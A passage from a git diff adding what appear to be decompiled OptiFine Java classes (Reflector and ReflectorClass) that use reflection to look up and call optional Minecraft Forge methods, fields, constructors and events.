+  public static ReflectorMethod FMLCommonHandler_handleServerStarting = new ReflectorMethod(FMLCommonHandler, "handleServerStarting");
+  public static ReflectorMethod FMLCommonHandler_handleServerAboutToStart = new ReflectorMethod(FMLCommonHandler, "handleServerAboutToStart");
+  public static ReflectorMethod FMLCommonHandler_enhanceCrashReport = new ReflectorMethod(FMLCommonHandler, "enhanceCrashReport");
+  public static ReflectorMethod FMLCommonHandler_getBrandings = new ReflectorMethod(FMLCommonHandler, "getBrandings");
+  public static ReflectorMethod FMLCommonHandler_callFuture = new ReflectorMethod(FMLCommonHandler, "callFuture");
+  public static ReflectorClass FMLClientHandler = new ReflectorClass("net.minecraftforge.fml.client.FMLClientHandler");
+  public static ReflectorMethod FMLClientHandler_instance = new ReflectorMethod(FMLClientHandler, "instance");
+  public static ReflectorMethod FMLClientHandler_isLoading = new ReflectorMethod(FMLClientHandler, "isLoading");
+  public static ReflectorMethod FMLClientHandler_trackBrokenTexture = new ReflectorMethod(FMLClientHandler, "trackBrokenTexture");
+  public static ReflectorMethod FMLClientHandler_trackMissingTexture = new ReflectorMethod(FMLClientHandler, "trackMissingTexture");
+  public static ReflectorClass ForgeWorldProvider = new ReflectorClass(WorldProvider.class);
+  public static ReflectorMethod ForgeWorldProvider_getSkyRenderer = new ReflectorMethod(ForgeWorldProvider, "getSkyRenderer");
+  public static ReflectorMethod ForgeWorldProvider_getCloudRenderer = new ReflectorMethod(ForgeWorldProvider, "getCloudRenderer");
+  public static ReflectorMethod ForgeWorldProvider_getWeatherRenderer = new ReflectorMethod(ForgeWorldProvider, "getWeatherRenderer");
+  public static ReflectorClass ForgeWorld = new ReflectorClass(World.class);
+  public static ReflectorMethod ForgeWorld_countEntities = new ReflectorMethod(ForgeWorld, "countEntities", new Class[] { EnumCreatureType.class, Boolean.TYPE });
+  public static ReflectorMethod ForgeWorld_getPerWorldStorage = new ReflectorMethod(ForgeWorld, "getPerWorldStorage");
+  public static ReflectorClass IRenderHandler = new ReflectorClass("net.minecraftforge.client.IRenderHandler");
+  public static ReflectorMethod IRenderHandler_render = new ReflectorMethod(IRenderHandler, "render");
+  public static ReflectorClass DimensionManager = new ReflectorClass("net.minecraftforge.common.DimensionManager");
+  public static ReflectorMethod DimensionManager_getStaticDimensionIDs = new ReflectorMethod(DimensionManager, "getStaticDimensionIDs");
+  public static ReflectorClass WorldEvent_Load = new ReflectorClass("net.minecraftforge.event.world.WorldEvent$Load");
+  public static ReflectorConstructor WorldEvent_Load_Constructor = new ReflectorConstructor(WorldEvent_Load, new Class[] { World.class });
+  public static ReflectorClass RenderItemInFrameEvent = new ReflectorClass("net.minecraftforge.client.event.RenderItemInFrameEvent");
+  public static ReflectorConstructor RenderItemInFrameEvent_Constructor = new ReflectorConstructor(RenderItemInFrameEvent, new Class[] { EntityItemFrame.class, RenderItemFrame.class });
+  public static ReflectorClass DrawScreenEvent_Pre = new ReflectorClass("net.minecraftforge.client.event.GuiScreenEvent$DrawScreenEvent$Pre");
+  public static ReflectorConstructor DrawScreenEvent_Pre_Constructor = new ReflectorConstructor(DrawScreenEvent_Pre, new Class[] { GuiScreen.class, Integer.TYPE, Integer.TYPE, Float.TYPE });
+  public static ReflectorClass DrawScreenEvent_Post = new ReflectorClass("net.minecraftforge.client.event.GuiScreenEvent$DrawScreenEvent$Post");
+  public static ReflectorConstructor DrawScreenEvent_Post_Constructor = new ReflectorConstructor(DrawScreenEvent_Post, new Class[] { GuiScreen.class, Integer.TYPE, Integer.TYPE, Float.TYPE });
+  public static ReflectorClass EntityViewRenderEvent_FogColors = new ReflectorClass("net.minecraftforge.client.event.EntityViewRenderEvent$FogColors");
+  public static ReflectorConstructor EntityViewRenderEvent_FogColors_Constructor = new ReflectorConstructor(EntityViewRenderEvent_FogColors, new Class[] { EntityRenderer.class, Entity.class, Block.class, Double.TYPE, Float.TYPE, Float.TYPE, Float.TYPE });
+  public static ReflectorField EntityViewRenderEvent_FogColors_red = new ReflectorField(EntityViewRenderEvent_FogColors, "red");
+  public static ReflectorField EntityViewRenderEvent_FogColors_green = new ReflectorField(EntityViewRenderEvent_FogColors, "green");
+  public static ReflectorField EntityViewRenderEvent_FogColors_blue = new ReflectorField(EntityViewRenderEvent_FogColors, "blue");
+  public static ReflectorClass EntityViewRenderEvent_CameraSetup = new ReflectorClass("net.minecraftforge.client.event.EntityViewRenderEvent$CameraSetup");
+  public static ReflectorConstructor EntityViewRenderEvent_CameraSetup_Constructor = new ReflectorConstructor(EntityViewRenderEvent_CameraSetup, new Class[] { EntityRenderer.class, Entity.class, Block.class, Double.TYPE, Float.TYPE, Float.TYPE, Float.TYPE });
+  public static ReflectorField EntityViewRenderEvent_CameraSetup_yaw = new ReflectorField(EntityViewRenderEvent_CameraSetup, "yaw");
+  public static ReflectorField EntityViewRenderEvent_CameraSetup_pitch = new ReflectorField(EntityViewRenderEvent_CameraSetup, "pitch");
+  public static ReflectorField EntityViewRenderEvent_CameraSetup_roll = new ReflectorField(EntityViewRenderEvent_CameraSetup, "roll");
+  public static ReflectorClass RenderLivingEvent_Pre = new ReflectorClass("net.minecraftforge.client.event.RenderLivingEvent$Pre");
+  public static ReflectorConstructor RenderLivingEvent_Pre_Constructor = new ReflectorConstructor(RenderLivingEvent_Pre, new Class[] { EntityLivingBase.class, RendererLivingEntity.class, Double.TYPE, Double.TYPE, Double.TYPE });
+  public static ReflectorClass RenderLivingEvent_Post = new ReflectorClass("net.minecraftforge.client.event.RenderLivingEvent$Post");
+  public static ReflectorConstructor RenderLivingEvent_Post_Constructor = new ReflectorConstructor(RenderLivingEvent_Post, new Class[] { EntityLivingBase.class, RendererLivingEntity.class, Double.TYPE, Double.TYPE, Double.TYPE });
+  public static ReflectorClass RenderLivingEvent_Specials_Pre = new ReflectorClass("net.minecraftforge.client.event.RenderLivingEvent$Specials$Pre");
+  public static ReflectorConstructor RenderLivingEvent_Specials_Pre_Constructor = new ReflectorConstructor(RenderLivingEvent_Specials_Pre, new Class[] { EntityLivingBase.class, RendererLivingEntity.class, Double.TYPE, Double.TYPE, Double.TYPE });
+  public static ReflectorClass RenderLivingEvent_Specials_Post = new ReflectorClass("net.minecraftforge.client.event.RenderLivingEvent$Specials$Post");
+  public static ReflectorConstructor RenderLivingEvent_Specials_Post_Constructor = new ReflectorConstructor(RenderLivingEvent_Specials_Post, new Class[] { EntityLivingBase.class, RendererLivingEntity.class, Double.TYPE, Double.TYPE, Double.TYPE });
+  public static ReflectorClass EventBus = new ReflectorClass("net.minecraftforge.fml.common.eventhandler.EventBus");
+  public static ReflectorMethod EventBus_post = new ReflectorMethod(EventBus, "post");
+  public static ReflectorClass Event_Result = new ReflectorClass("net.minecraftforge.fml.common.eventhandler.Event$Result");
+  public static ReflectorField Event_Result_DENY = new ReflectorField(Event_Result, "DENY");
+  public static ReflectorField Event_Result_ALLOW = new ReflectorField(Event_Result, "ALLOW");
+  public static ReflectorField Event_Result_DEFAULT = new ReflectorField(Event_Result, "DEFAULT");
+  public static ReflectorClass ForgeEventFactory = new ReflectorClass("net.minecraftforge.event.ForgeEventFactory");
+  public static ReflectorMethod ForgeEventFactory_canEntitySpawn = new ReflectorMethod(ForgeEventFactory, "canEntitySpawn");
+  public static ReflectorMethod ForgeEventFactory_canEntityDespawn = new ReflectorMethod(ForgeEventFactory, "canEntityDespawn");
+  public static ReflectorMethod ForgeEventFactory_renderBlockOverlay = new ReflectorMethod(ForgeEventFactory, "renderBlockOverlay");
+  public static ReflectorMethod ForgeEventFactory_renderWaterOverlay = new ReflectorMethod(ForgeEventFactory, "renderWaterOverlay");
+  public static ReflectorMethod ForgeEventFactory_renderFireOverlay = new ReflectorMethod(ForgeEventFactory, "renderFireOverlay");
+  public static ReflectorClass RenderBlockOverlayEvent_OverlayType = new ReflectorClass("net.minecraftforge.client.event.RenderBlockOverlayEvent$OverlayType");
+  public static ReflectorField RenderBlockOverlayEvent_OverlayType_BLOCK = new ReflectorField(RenderBlockOverlayEvent_OverlayType, "BLOCK");
+  public static ReflectorClass ChunkWatchEvent_UnWatch = new ReflectorClass("net.minecraftforge.event.world.ChunkWatchEvent$UnWatch");
+  public static ReflectorConstructor ChunkWatchEvent_UnWatch_Constructor = new ReflectorConstructor(ChunkWatchEvent_UnWatch, new Class[] { ChunkCoordIntPair.class, EntityPlayerMP.class });
+  public static ReflectorClass ForgeBlock = new ReflectorClass(Block.class);
+  public static ReflectorMethod ForgeBlock_getBedDirection = new ReflectorMethod(ForgeBlock, "getBedDirection");
+  public static ReflectorMethod ForgeBlock_isBed = new ReflectorMethod(ForgeBlock, "isBed");
+  public static ReflectorMethod ForgeBlock_isBedFoot = new ReflectorMethod(ForgeBlock, "isBedFoot");
+  public static ReflectorMethod ForgeBlock_hasTileEntity = new ReflectorMethod(ForgeBlock, "hasTileEntity", new Class[] { IBlockState.class });
+  public static ReflectorMethod ForgeBlock_canCreatureSpawn = new ReflectorMethod(ForgeBlock, "canCreatureSpawn");
+  public static ReflectorMethod ForgeBlock_addHitEffects = new ReflectorMethod(ForgeBlock, "addHitEffects");
+  public static ReflectorMethod ForgeBlock_addDestroyEffects = new ReflectorMethod(ForgeBlock, "addDestroyEffects");
+  public static ReflectorMethod ForgeBlock_isAir = new ReflectorMethod(ForgeBlock, "isAir");
+  public static ReflectorMethod ForgeBlock_canRenderInLayer = new ReflectorMethod(ForgeBlock, "canRenderInLayer");
+  public static ReflectorMethod ForgeBlock_getExtendedState = new ReflectorMethod(ForgeBlock, "getExtendedState");
+  public static ReflectorClass ForgeEntity = new ReflectorClass(Entity.class);
+  public static ReflectorField ForgeEntity_captureDrops = new ReflectorField(ForgeEntity, "captureDrops");
+  public static ReflectorField ForgeEntity_capturedDrops = new ReflectorField(ForgeEntity, "capturedDrops");
+  public static ReflectorMethod ForgeEntity_shouldRenderInPass = new ReflectorMethod(ForgeEntity, "shouldRenderInPass");
+  public static ReflectorMethod ForgeEntity_canRiderInteract = new ReflectorMethod(ForgeEntity, "canRiderInteract");
+  public static ReflectorMethod ForgeEntity_shouldRiderSit = new ReflectorMethod(ForgeEntity, "shouldRiderSit");
+  public static ReflectorClass ForgeTileEntity = new ReflectorClass(TileEntity.class);
+  public static ReflectorMethod ForgeTileEntity_shouldRenderInPass = new ReflectorMethod(ForgeTileEntity, "shouldRenderInPass");
+  public static ReflectorMethod ForgeTileEntity_getRenderBoundingBox = new ReflectorMethod(ForgeTileEntity, "getRenderBoundingBox");
+  public static ReflectorMethod ForgeTileEntity_canRenderBreaking = new ReflectorMethod(ForgeTileEntity, "canRenderBreaking");
+  public static ReflectorClass ForgeItem = new ReflectorClass(Item.class);
+  public static ReflectorMethod ForgeItem_onEntitySwing = new ReflectorMethod(ForgeItem, "onEntitySwing");
+  public static ReflectorMethod ForgeItem_shouldCauseReequipAnimation = new ReflectorMethod(ForgeItem, "shouldCauseReequipAnimation");
+  public static ReflectorMethod ForgeItem_getModel = new ReflectorMethod(ForgeItem, "getModel");
+  public static ReflectorMethod ForgeItem_showDurabilityBar = new ReflectorMethod(ForgeItem, "showDurabilityBar");
+  public static ReflectorMethod ForgeItem_getDurabilityForDisplay = new ReflectorMethod(ForgeItem, "getDurabilityForDisplay");
+  public static ReflectorClass ForgePotionEffect = new ReflectorClass(PotionEffect.class);
+  public static ReflectorMethod ForgePotionEffect_isCurativeItem = new ReflectorMethod(ForgePotionEffect, "isCurativeItem");
+  public static ReflectorClass ForgeItemRecord = new ReflectorClass(ItemRecord.class);
+  public static ReflectorMethod ForgeItemRecord_getRecordResource = new ReflectorMethod(ForgeItemRecord, "getRecordResource", new Class[] { String.class });
+  public static ReflectorClass ForgeVertexFormatElementEnumUseage = new ReflectorClass(VertexFormatElement.EnumUseage.class);
+  public static ReflectorMethod ForgeVertexFormatElementEnumUseage_preDraw = new ReflectorMethod(ForgeVertexFormatElementEnumUseage, "preDraw");
+  public static ReflectorMethod ForgeVertexFormatElementEnumUseage_postDraw = new ReflectorMethod(ForgeVertexFormatElementEnumUseage, "postDraw");
+  public static ReflectorClass BlamingTransformer = new ReflectorClass("net.minecraftforge.fml.common.asm.transformers.BlamingTransformer");
+  public static ReflectorMethod BlamingTransformer_onCrash = new ReflectorMethod(BlamingTransformer, "onCrash");
+  public static ReflectorClass CoreModManager = new ReflectorClass("net.minecraftforge.fml.relauncher.CoreModManager");
+  public static ReflectorMethod CoreModManager_onCrash = new ReflectorMethod(CoreModManager, "onCrash");
+  public static ReflectorClass ISmartBlockModel = new ReflectorClass("net.minecraftforge.client.model.ISmartBlockModel");
+  public static ReflectorMethod ISmartBlockModel_handleBlockState = new ReflectorMethod(ISmartBlockModel, "handleBlockState");
+  public static ReflectorClass Launch = new ReflectorClass("net.minecraft.launch Launch");
+  public static ReflectorField Launch_blackboard = new ReflectorField(Launch, "blackboard");
+  public static ReflectorClass SplashScreen = new ReflectorClass("net.minecraftforge.fml.client.SplashProgress");
+  public static ReflectorClass LightUtil = new ReflectorClass("net.minecraftforge.client.model.pipeline.LightUtil");
+  public static ReflectorField LightUtil_tessellator = new ReflectorField(LightUtil, "tessellator");
+  public static ReflectorField LightUtil_itemConsumer = new ReflectorField(LightUtil, "itemConsumer");
+  public static ReflectorMethod LightUtil_putBakedQuad = new ReflectorMethod(LightUtil, "putBakedQuad");
+  public static ReflectorMethod LightUtil_renderQuadColor = new ReflectorMethod(LightUtil, "renderQuadColor");
+  public static ReflectorClass IExtendedBlockState = new ReflectorClass("net.minecraftforge.common.property.IExtendedBlockState");
+  public static ReflectorMethod IExtendedBlockState_getClean = new ReflectorMethod(IExtendedBlockState, "getClean");
+  public static ReflectorClass ItemModelMesherForge = new ReflectorClass("net.minecraftforge.client.ItemModelMesherForge");
+  public static ReflectorConstructor ItemModelMesherForge_Constructor = new ReflectorConstructor(ItemModelMesherForge, new Class[] { ModelManager.class });
+  public static ReflectorClass ModelLoader = new ReflectorClass("net.minecraftforge.client.model.ModelLoader");
+  public static ReflectorMethod ModelLoader_onRegisterItems = new ReflectorMethod(ModelLoader, "onRegisterItems");
+  public static ReflectorClass Attributes = new ReflectorClass("net.minecraftforge.client.model.Attributes");
+  public static ReflectorField Attributes_DEFAULT_BAKED_FORMAT = new ReflectorField(Attributes, "DEFAULT_BAKED_FORMAT");
+  public static ReflectorClass BetterFoliageClient = new ReflectorClass("mods.betterfoliage.client.BetterFoliageClient");
+  public static ReflectorClass IColoredBakedQuad = new ReflectorClass("net.minecraftforge.client.model.IColoredBakedQuad");
+  public static ReflectorClass ForgeBiomeGenBase = new ReflectorClass(BiomeGenBase.class);
+  public static ReflectorMethod ForgeBiomeGenBase_getWaterColorMultiplier = new ReflectorMethod(ForgeBiomeGenBase, "getWaterColorMultiplier");
+  public static ReflectorClass RenderingRegistry = new ReflectorClass("net.minecraftforge.fml.client.registry.RenderingRegistry");
+  public static ReflectorMethod RenderingRegistry_loadEntityRenderers = new ReflectorMethod(RenderingRegistry, "loadEntityRenderers", new Class[] { RenderManager.class, Map.class });
+  public static ReflectorClass ForgeTileEntityRendererDispatcher = new ReflectorClass(TileEntityRendererDispatcher.class);
+  public static ReflectorMethod ForgeTileEntityRendererDispatcher_preDrawBatch = new ReflectorMethod(ForgeTileEntityRendererDispatcher, "preDrawBatch");
+  public static ReflectorMethod ForgeTileEntityRendererDispatcher_drawBatch = new ReflectorMethod(ForgeTileEntityRendererDispatcher, "drawBatch");
+  public static ReflectorClass OptiFineClassTransformer = new ReflectorClass("optifine.OptiFineClassTransformer");
+  public static ReflectorField OptiFineClassTransformer_instance = new ReflectorField(OptiFineClassTransformer, "instance");
+  public static ReflectorMethod OptiFineClassTransformer_getOptiFineResource = new ReflectorMethod(OptiFineClassTransformer, "getOptiFineResource");
+  public static ReflectorClass ForgeModContainer = new ReflectorClass("net.minecraftforge.common.ForgeModContainer");
+  public static ReflectorField ForgeModContainer_forgeLightPipelineEnabled = new ReflectorField(ForgeModContainer, "forgeLightPipelineEnabled");
+  
+  public Reflector() {}
+  
+  public static void callVoid(ReflectorMethod refMethod, Object... params) {
+    try {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return;
+      }
+      
+      e.invoke(null, params);
+    }
+    catch (Throwable var3)
+    {
+      handleException(var3, null, refMethod, params);
+    }
+  }
+  
+  public static boolean callBoolean(ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return false;
+      }
+      
+
+      Boolean retVal = (Boolean)e.invoke(null, params);
+      return retVal.booleanValue();
+
+    }
+    catch (Throwable var4)
+    {
+      handleException(var4, null, refMethod, params); }
+    return false;
+  }
+  
+
+  public static int callInt(ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return 0;
+      }
+      
+
+      Integer retVal = (Integer)e.invoke(null, params);
+      return retVal.intValue();
+
+    }
+    catch (Throwable var4)
+    {
+      handleException(var4, null, refMethod, params); }
+    return 0;
+  }
+  
+
+  public static float callFloat(ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return 0.0F;
+      }
+      
+
+      Float retVal = (Float)e.invoke(null, params);
+      return retVal.floatValue();
+
+    }
+    catch (Throwable var4)
+    {
+      handleException(var4, null, refMethod, params); }
+    return 0.0F;
+  }
+  
+
+  public static double callDouble(ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return 0.0D;
+      }
+      
+
+      Double retVal = (Double)e.invoke(null, params);
+      return retVal.doubleValue();
+
+    }
+    catch (Throwable var4)
+    {
+      handleException(var4, null, refMethod, params); }
+    return 0.0D;
+  }
+  
+
+  public static String callString(ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return null;
+      }
+      
+
+      return (String)e.invoke(null, params);
+
+    }
+    catch (Throwable var4)
+    {
+
+      handleException(var4, null, refMethod, params); }
+    return null;
+  }
+  
+
+  public static Object call(ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return null;
+      }
+      
+
+      return e.invoke(null, params);
+
+    }
+    catch (Throwable var4)
+    {
+
+      handleException(var4, null, refMethod, params); }
+    return null;
+  }
+  
+
+  public static void callVoid(Object obj, ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      if (obj == null)
+      {
+        return;
+      }
+      
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return;
+      }
+      
+      e.invoke(obj, params);
+    }
+    catch (Throwable var4)
+    {
+      handleException(var4, obj, refMethod, params);
+    }
+  }
+  
+  public static boolean callBoolean(Object obj, ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return false;
+      }
+      
+
+      Boolean retVal = (Boolean)e.invoke(obj, params);
+      return retVal.booleanValue();
+
+    }
+    catch (Throwable var5)
+    {
+      handleException(var5, obj, refMethod, params); }
+    return false;
+  }
+  
+
+  public static int callInt(Object obj, ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return 0;
+      }
+      
+
+      Integer retVal = (Integer)e.invoke(obj, params);
+      return retVal.intValue();
+
+    }
+    catch (Throwable var5)
+    {
+      handleException(var5, obj, refMethod, params); }
+    return 0;
+  }
+  
+
+  public static float callFloat(Object obj, ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return 0.0F;
+      }
+      
+
+      Float retVal = (Float)e.invoke(obj, params);
+      return retVal.floatValue();
+
+    }
+    catch (Throwable var5)
+    {
+      handleException(var5, obj, refMethod, params); }
+    return 0.0F;
+  }
+  
+
+  public static double callDouble(Object obj, ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return 0.0D;
+      }
+      
+
+      Double retVal = (Double)e.invoke(obj, params);
+      return retVal.doubleValue();
+
+    }
+    catch (Throwable var5)
+    {
+      handleException(var5, obj, refMethod, params); }
+    return 0.0D;
+  }
+  
+
+  public static String callString(Object obj, ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return null;
+      }
+      
+
+      return (String)e.invoke(obj, params);
+
+    }
+    catch (Throwable var5)
+    {
+
+      handleException(var5, obj, refMethod, params); }
+    return null;
+  }
+  
+
+  public static Object call(Object obj, ReflectorMethod refMethod, Object... params)
+  {
+    try
+    {
+      Method e = refMethod.getTargetMethod();
+      
+      if (e == null)
+      {
+        return null;
+      }
+      
+
+      return e.invoke(obj, params);
+
+    }
+    catch (Throwable var5)
+    {
+
+      handleException(var5, obj, refMethod, params); }
+    return null;
+  }
+  
+
+  public static Object getFieldValue(ReflectorField refField)
+  {
+    return getFieldValue(null, refField);
+  }
+  
+  public static Object getFieldValue(Object obj, ReflectorField refField)
+  {
+    try
+    {
+      Field e = refField.getTargetField();
+      
+      if (e == null)
+      {
+        return null;
+      }
+      
+
+      return e.get(obj);
+
+    }
+    catch (Throwable var4)
+    {
+
+      var4.printStackTrace(); }
+    return null;
+  }
+  
+
+  public static float getFieldValueFloat(Object obj, ReflectorField refField, float def)
+  {
+    Object val = getFieldValue(obj, refField);
+    
+    if (!(val instanceof Float))
+    {
+      return def;
+    }
+    
+
+    Float valFloat = (Float)val;
+    return valFloat.floatValue();
+  }
+  
+
+  public static void setFieldValue(ReflectorField refField, Object value)
+  {
+    setFieldValue(null, refField, value);
+  }
+  
+  public static void setFieldValue(Object obj, ReflectorField refField, Object value)
+  {
+    try
+    {
+      Field e = refField.getTargetField();
+      
+      if (e == null)
+      {
+        return;
+      }
+      
+      e.set(obj, value);
+    }
+    catch (Throwable var4)
+    {
+      var4.printStackTrace();
+    }
+  }
+  
+  public static boolean postForgeBusEvent(ReflectorConstructor constr, Object... params)
+  {
+    Object event = newInstance(constr, params);
+    return event == null ? false : postForgeBusEvent(event);
+  }
+  
+  public static boolean postForgeBusEvent(Object event)
+  {
+    if (event == null)
+    {
+      return false;
+    }
+    
+
+    Object eventBus = getFieldValue(MinecraftForge_EVENT_BUS);
+    
+    if (eventBus == null)
+    {
+      return false;
+    }
+    
+
+    Object ret = call(eventBus, EventBus_post, new Object[] { event });
+    
+    if (!(ret instanceof Boolean))
+    {
+      return false;
+    }
+    
+
+    Boolean retBool = (Boolean)ret;
+    return retBool.booleanValue();
+  }
+  
+
+
+
+  public static Object newInstance(ReflectorConstructor constr, Object... params)
+  {
+    Constructor c = constr.getTargetConstructor();
+    
+    if (c == null)
+    {
+      return null;
+    }
+    
+
+    try
+    {
+      return c.newInstance(params);
+
+    }
+    catch (Throwable var4)
+    {
+      handleException(var4, constr, params); }
+    return null;
+  }
+  
+
+
+  public static Method getMethod(Class cls, String methodName, Class[] paramTypes)
+  {
+    Method[] ms = cls.getDeclaredMethods();
+    
+    for (int i = 0; i < ms.length; i++)
+    {
+      Method m = ms[i];
+      
+      if (m.getName().equals(methodName))
+      {
+        Class[] types = m.getParameterTypes();
+        
+        if (matchesTypes(paramTypes, types))
+        {
+          return m;
+        }
+      }
+    }
+    
+    return null;
+  }
+  
+  public static Method[] getMethods(Class cls, String methodName)
+  {
+    ArrayList listMethods = new ArrayList();
+    Method[] ms = cls.getDeclaredMethods();
+    
+    for (int methods = 0; methods < ms.length; methods++)
+    {
+      Method m = ms[methods];
+      
+      if (m.getName().equals(methodName))
+      {
+        listMethods.add(m);
+      }
+    }
+    
+    Method[] var6 = (Method[])listMethods.toArray(new Method[listMethods.size()]);
+    return var6;
+  }
+  
+  public static boolean matchesTypes(Class[] pTypes, Class[] cTypes)
+  {
+    if (pTypes.length != cTypes.length)
+    {
+      return false;
+    }
+    
+
+    for (int i = 0; i < cTypes.length; i++)
+    {
+      Class pType = pTypes[i];
+      Class cType = cTypes[i];
+      
+      if (pType != cType)
+      {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  private static void dbgCall(boolean isStatic, String callType, ReflectorMethod refMethod, Object[] params, Object retVal)
+  {
+    String className = refMethod.getTargetMethod().getDeclaringClass().getName();
+    String methodName = refMethod.getTargetMethod().getName();
+    String staticStr = "";
+    
+    if (isStatic)
+    {
+      staticStr = " static";
+    }
+    
+    Config.dbg(callType + staticStr + " " + className + "." + methodName + "(" + Config.arrayToString(params) + ") => " + retVal);
+  }
+  
+  private static void dbgCallVoid(boolean isStatic, String callType, ReflectorMethod refMethod, Object[] params)
+  {
+    String className = refMethod.getTargetMethod().getDeclaringClass().getName();
+    String methodName = refMethod.getTargetMethod().getName();
+    String staticStr = "";
+    
+    if (isStatic)
+    {
+      staticStr = " static";
+    }
+    
+    Config.dbg(callType + staticStr + " " + className + "." + methodName + "(" + Config.arrayToString(params) + ")");
+  }
+  
+  private static void dbgFieldValue(boolean isStatic, String accessType, ReflectorField refField, Object val)
+  {
+    String className = refField.getTargetField().getDeclaringClass().getName();
+    String fieldName = refField.getTargetField().getName();
+    String staticStr = "";
+    
+    if (isStatic)
+    {
+      staticStr = " static";
+    }
+    
+    Config.dbg(accessType + staticStr + " " + className + "." + fieldName + " => " + val);
+  }
+  
+  private static void handleException(Throwable e, Object obj, ReflectorMethod refMethod, Object[] params)
+  {
+    if ((e instanceof InvocationTargetException))
+    {
+      e.printStackTrace();
+    }
+    else
+    {
+      if ((e instanceof IllegalArgumentException))
+      {
+        Config.warn("*** IllegalArgumentException ***");
+        Config.warn("Method: " + refMethod.getTargetMethod());
+        Config.warn("Object: " + obj);
+        Config.warn("Parameter classes: " + Config.arrayToString(getClasses(params)));
+        Config.warn("Parameters: " + Config.arrayToString(params));
+      }
+      
+      Config.warn("*** Exception outside of method ***");
+      Config.warn("Method deactivated: " + refMethod.getTargetMethod());
+      refMethod.deactivate();
+      e.printStackTrace();
+    }
+  }
+  
+  private static void handleException(Throwable e, ReflectorConstructor refConstr, Object[] params)
+  {
+    if ((e instanceof InvocationTargetException))
+    {
+      e.printStackTrace();
+    }
+    else
+    {
+      if ((e instanceof IllegalArgumentException))
+      {
+        Config.warn("*** IllegalArgumentException ***");
+        Config.warn("Constructor: " + refConstr.getTargetConstructor());
+        Config.warn("Parameter classes: " + Config.arrayToString(getClasses(params)));
+        Config.warn("Parameters: " + Config.arrayToString(params));
+      }
+      
+      Config.warn("*** Exception outside of constructor ***");
+      Config.warn("Constructor deactivated: " + refConstr.getTargetConstructor());
+      refConstr.deactivate();
+      e.printStackTrace();
+    }
+  }
+  
+  private static Object[] getClasses(Object[] objs)
+  {
+    if (objs == null)
+    {
+      return new Class[0];
+    }
+    
+
+    Class[] classes = new Class[objs.length];
+    
+    for (int i = 0; i < classes.length; i++)
+    {
+      Object obj = objs[i];
+      
+      if (obj != null)
+      {
+        classes[i] = obj.getClass();
+      }
+    }
+    
+    return classes;
+  }
+  
+
+  public static Field getField(Class cls, Class fieldType)
+  {
+    try
+    {
+      Field[] e = cls.getDeclaredFields();
+      
+      for (int i = 0; i < e.length; i++)
+      {
+        Field field = e[i];
+        
+        if (field.getType() == fieldType)
+        {
+          field.setAccessible(true);
+          return field;
+        }
+      }
+      
+      return null;
+    }
+    catch (Exception var5) {}
+    
+    return null;
+  }
+  
+
+  public static Field[] getFields(Class cls, Class fieldType)
+  {
+    ArrayList list = new ArrayList();
+    
+    try
+    {
+      Field[] e = cls.getDeclaredFields();
+      
+      for (int fields = 0; fields < e.length; fields++)
+      {
+        Field field = e[fields];
+        
+        if (field.getType() == fieldType)
+        {
+          field.setAccessible(true);
+          list.add(field);
+        }
+      }
+      
+      return (Field[])list.toArray(new Field[list.size()]);
+    }
+    catch (Exception var6) {}
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/optifine/ReflectorClass.java b/src/minecraft/optifine/ReflectorClass.java
new file mode 100644
index 0000000..b58bcc9
--- /dev/null
+++ b/src/minecraft/optifine/ReflectorClass.java
@@ -0,0 +1,98 @@
+package optifine;
+
+public class ReflectorClass
+{
+  private String targetClassName;
+  private boolean checked;
+  private Class targetClass;
+  
+  public ReflectorClass(String targetClassName)
+  {
+    this(targetClassName, false);
+  }
+  
+  public ReflectorClass(String targetClassName, boolean lazyResolve)
+  {
+    this.targetClassName = null;
+    checked = false;
+    targetClass = null;
+    this.targetClassName = targetClassName;
+    
+    if (!lazyResolve)
+    {
+      Class localClass = getTargetClass();
+    }
+  }
+  
+  public ReflectorClass(Class targetClass)
+  {
+    targetClassName = null;
+    checked = false;
+    this.targetClass = null;
+    this.targetClass = targetClass;
+    targetClassName = targetClass.getName();
+    checked = true;
+  }
+  
+  public Class getTargetClass()
+  {
+    if (checked)
+    {
+      return targetClass;
+    }
+    
+
+    checked = true;
+    
+    try
+    {
+      targetClass = Class.forName(targetClassName);
+    }
+    catch (ClassNotFoundException var2)
+    {
+      Config.log("(Reflector) Class not present: " + targetClassName);
+    }
+    catch (Throwable var3)
+    {
+      var3.printStackTrace();
+    }
+    
+    return targetClass;
+  }
+  
+
+  public boolean exists()
+  {
+    return getTargetClass() != null;
+  }
+  
+  public String getTargetClassName()
+  {
+    return targetClassName;
+  }
+  
+  public boolean isInstance(Object obj)
+  {
+    return getTargetClass() == null ? false : getTargetClass().isInstance(obj);
+  }
+  
+  public ReflectorField makeField(String name)
+  {
+    return new ReflectorField(this, name);
+  }
+  
+  public ReflectorMethod makeMethod(String name)
+  {
+    return new ReflectorMethod(this, name);
